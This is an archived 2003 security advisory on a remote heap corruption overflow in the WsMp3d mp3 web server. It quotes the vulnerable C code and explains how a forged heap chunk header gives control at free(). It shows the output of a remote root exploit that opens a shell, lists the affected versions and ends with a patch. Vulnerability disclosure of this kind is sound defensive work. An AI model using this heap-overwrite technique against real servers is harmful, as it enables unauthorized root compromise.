TUCoPS :: Web :: Servers :: bt230.txt

WsMp3d remote heap corruption


	==========================================
	INetCop Security Advisory #2003-0x82-017.b
	==========================================


* Title: Remote Heap Corruption Overflow vulnerability in WsMp3d (Again)


0x01. Description


WsMp3d is webserver daemon that can enjoy mp3. (shoutcast-server)
There is WsMp3 Heap vulnerability is found in former days.

This vulnerability too, it is security bug that happen based on Heap.
Doing version up, bug of code was existed.

This is contents that work in main() function.


 `src/main.c':
    --
        ...
   435        conn_req=parse_request(recvBuffer);
        ...
   870        rem_req_descriptor(conn_req); //elimina la richiesta
   871      }
   872    return 0;
   873  }
    --


line:435 - malloc() part;
line:870 - free() part;


 `src/req_descriptor.c':
    --
        ...
   188  req_descriptor* parse_request(char *req)
        ...
   190    req_descriptor* ritorno;
   191    char reqcpy[BUFSIZE];
        ...
   194    if( (ritorno=((req_descriptor *)malloc(sizeof(req_descriptor))))==NULL )
   195      {
   196        fprintf(usr_cnsl,"Not enought memory!!!\n");
   197        exit(1);
   198      }
        ...
   203    for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
   204    strncpy(reqcpy,req,strlen(req)); // WhOOops, strlen(req) ??????
   205    ritorno->action=get_op(reqcpy); /* 1. here, desc->action data */
   206
   207    for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
   208    strncpy(reqcpy,req,strlen(req)); // WhOOops, strlen(req) ??????
   209    if(ritorno->action!=NULL)
   210      {                                     /* 2. here, desc->what data */
   211        if(!strcmp(ritorno->action,"CHA"))  ritorno->what=nomefile(reqcpy,1) ;
   212        else ritorno->what=nomefile(reqcpy,0);
   213      }
   214    else ritorno->what=NULL;
    --


 1. desc->action data -

 `src/utils.c':
    --
   220  char* get_op(char *buf)
   221  {
   222    char* op;
        ...
   224    if((op=(char *)malloc(10))==NULL)
        ...
   250    return op;
   251  }
    --


 2. desc->what data -

 `src/utils.c':
    --
   170  char* nomefile(char *buf,const int msg)
   171  {
   172    char *cp, *cp2,*ritorno;
        ...
   176    cp=buf+(strlen(get_op(buf))+2); //buf+5;
        ...
   186    if((ritorno=(char *)malloc(1024))==NULL)
        ...
   201    strcat(ritorno,cp);
        ...
   213    return ritorno;
   214  }
    --


These two variables can become all overflows.
Only, in case of desc->action variable,
input and achieve normally "CHA" command. (`src/req_descriptor.c' line:211)

Buffer that must attack becomes desc->what.
Now, investigate free's structure.


 `src/req_descriptor.c':
    --
        ...
   112  void rem_req_descriptor(req_descriptor *desc)
   113  {
        ...
   116    if((desc->action)!=NULL)
   117      {for(i=0;i<10;i++) desc->action[i]='\0';free(desc->action);desc->action=NULL;}
   118    if((desc->what)!=NULL)
   119      {for(i=0;i<1024;i++) desc->what[i]='\0';free(desc->what);desc->what=NULL;}
        ...
        /* all free */
        ...
    --


It seems to delete all important data.
However, be thought-out.

Attacker tries to make imitation chunk header passing data of original.
Then, before call "free", 1024byte data that delete is useless.


    --
    void rem_req_descriptor(req_descriptor *desc) {

    desc->what: [XXXXXXXXXX...garbage...XXXXXXXXXXXX][prev_size][size(P)][fd][bk]

    if((desc->what)!=NULL) {for(i=0;i<1024;i++) desc->what[i]='\0; // why? only 1024byte ;-}

    desc->what: [          ...cleanup...            ][prev_size][size(P)][fd][bk]

    free(desc->what);
    --


Finally, information that attacker changes completely is inserted.
Important point must put shellcode in other place because all datas are removed before free.


0x02. Vulnerable Packages


Vendor site: http://wsmp3.sourceforge.net/

WsMp3-0.0.10.tar.gz version. (exploitable)
+Linux
WsMp3-0.0.9.tar.gz version.
WsMp3-0.0.8.tar.gz version.
web_server-0.0.7.tar.gz version.

-old heap bug version:
web_server-0.0.6.tar.gz version.
web_server-0.0.5.tar.gz version.
web_server-0.0.4.tar.gz version.
web_server-0.0.3.tar.gz version.
web_server-0.0.2.tar.gz version.
web_server-0.0.1.tar.gz version.


0x03. Exploit


We in remote exploit succeed.

bash$ ./0x82--Remote.WsMp3d.again -h 61.37.xxx.xx -t2

 WsMp3 Server Heap Corruption Remote root exploit (Again)
                                            by Xpl017Elz.
 [+] Hostname: 61.37.xxx.xx
 [+] Port num: 8000
 [+] Retloc address: 0x8058d8c
 [+] Retaddr address: 0x80648bf
 [1] #1 Set socket.
 [2] First, send exploit packet.
 [3] #2 Set socket.
 [4] Second, send exploit packet.
 [5] Waiting, executes the shell ! (3Sec)
 [6] Trying 61.37.xxx.xx:36864 ...
 [7] Connected to 61.37.xxx.xx:36864 !

 [*] Executed shell successfully !

Linux xpl017elz 2.2.12-20kr #1 Tue Oct 12 17:08:15 KST 1999 i586 unknown
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
bash#

This will announce a next day.
/* P.S: See uname information, WhOops, oh dear! That is i586!! hehe! */


0x04. Patch


=== req_descriptor.patch ===

--- req_descriptor.c	Mon Dec  2 22:21:35 2002
+++ req_descriptor.patch.c	Sat May  3 03:25:32 2003
@@ -201,11 +201,11 @@
   if(PDEBUG) printf("Entro in parse_request\n");
 
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-  strncpy(reqcpy,req,strlen(req));
+  strncpy(reqcpy,req,(10-1));
   ritorno->action=get_op(reqcpy);
 
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-  strncpy(reqcpy,req,strlen(req));
+  strncpy(reqcpy,req,(1024-1));
   if(ritorno->action!=NULL)
     {
       if(!strcmp(ritorno->action,"CHA"))  ritorno->what=nomefile(reqcpy,1) ;
@@ -214,55 +214,55 @@
   else ritorno->what=NULL;
 
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-  strncpy(reqcpy,req,strlen(req));
+  strncpy(reqcpy,req,(1024-1));
   ritorno->host=gimme_line(reqcpy,"Host: ");
 
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-  strncpy(reqcpy,req,strlen(req));
+  strncpy(reqcpy,req,(1024-1));
   ritorno->agent=gimme_line(reqcpy,"User-Agent: "); 
 
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-  strncpy(reqcpy,req,strlen(req));
+  strncpy(reqcpy,req,(1024-1));
   ritorno->accept=gimme_line(reqcpy,"Accept: ");
 
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-  strncpy(reqcpy,req,strlen(req));
+  strncpy(reqcpy,req,(1024-1));
   ritorno->lang=gimme_line(reqcpy,"Accept-Language: ");
 
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-  strncpy(reqcpy,req,strlen(req));
+  strncpy(reqcpy,req,(1024-1));
   ritorno->enc=gimme_line(reqcpy,"Accept-Encoding: ");
 
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-  strncpy(reqcpy,req,strlen(req));
+  strncpy(reqcpy,req,(1024-1));
   ritorno->charset=gimme_line(reqcpy,"Accept-Charset: ");
 
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-  strncpy(reqcpy,req,strlen(req));
+  strncpy(reqcpy,req,(1024-1));
   ritorno->keep=gimme_line(reqcpy,"Keep-Alive: ");
 
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-  strncpy(reqcpy,req,strlen(req));
+  strncpy(reqcpy,req,(1024-1));
   ritorno->conn=gimme_line(reqcpy,"Connection: ");
 
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-  strncpy(reqcpy,req,strlen(req));
+  strncpy(reqcpy,req,(1024-1));
   ritorno->referer=gimme_line(reqcpy,"Referer: ");
 
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-  strncpy(reqcpy,req,strlen(req));
+  strncpy(reqcpy,req,(1024-1));
   ritorno->pragma=gimme_line(reqcpy,"Pragma: ");
 
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-  strncpy(reqcpy,req,strlen(req));
+  strncpy(reqcpy,req,(1024-1));
   ritorno->contType=gimme_line(reqcpy,"Content-Type: ");
 
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-  strncpy(reqcpy,req,strlen(req));
+  strncpy(reqcpy,req,(1024-1));
   ritorno->contLength=gimme_line(reqcpy,"Content-Length: ");
 
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
-  strncpy(reqcpy,req,strlen(req));
+  strncpy(reqcpy,req,(1024-1));
   ritorno->content=gimme_content(reqcpy);
   for(i=0;i<BUFSIZE;i++) reqcpy[i]='\0';
   return ritorno;


=== eof ===


P.S: Sorry, for my poor english.

--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: szoahc(at)hotmail(dot)com,
              xploit(at)hackermail(dot)com

INetCop Security Home: http://www.inetcop.org (Korean hacking game)
             My World: http://x82.i21c.net & http://x82.inetcop.org

GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y
--


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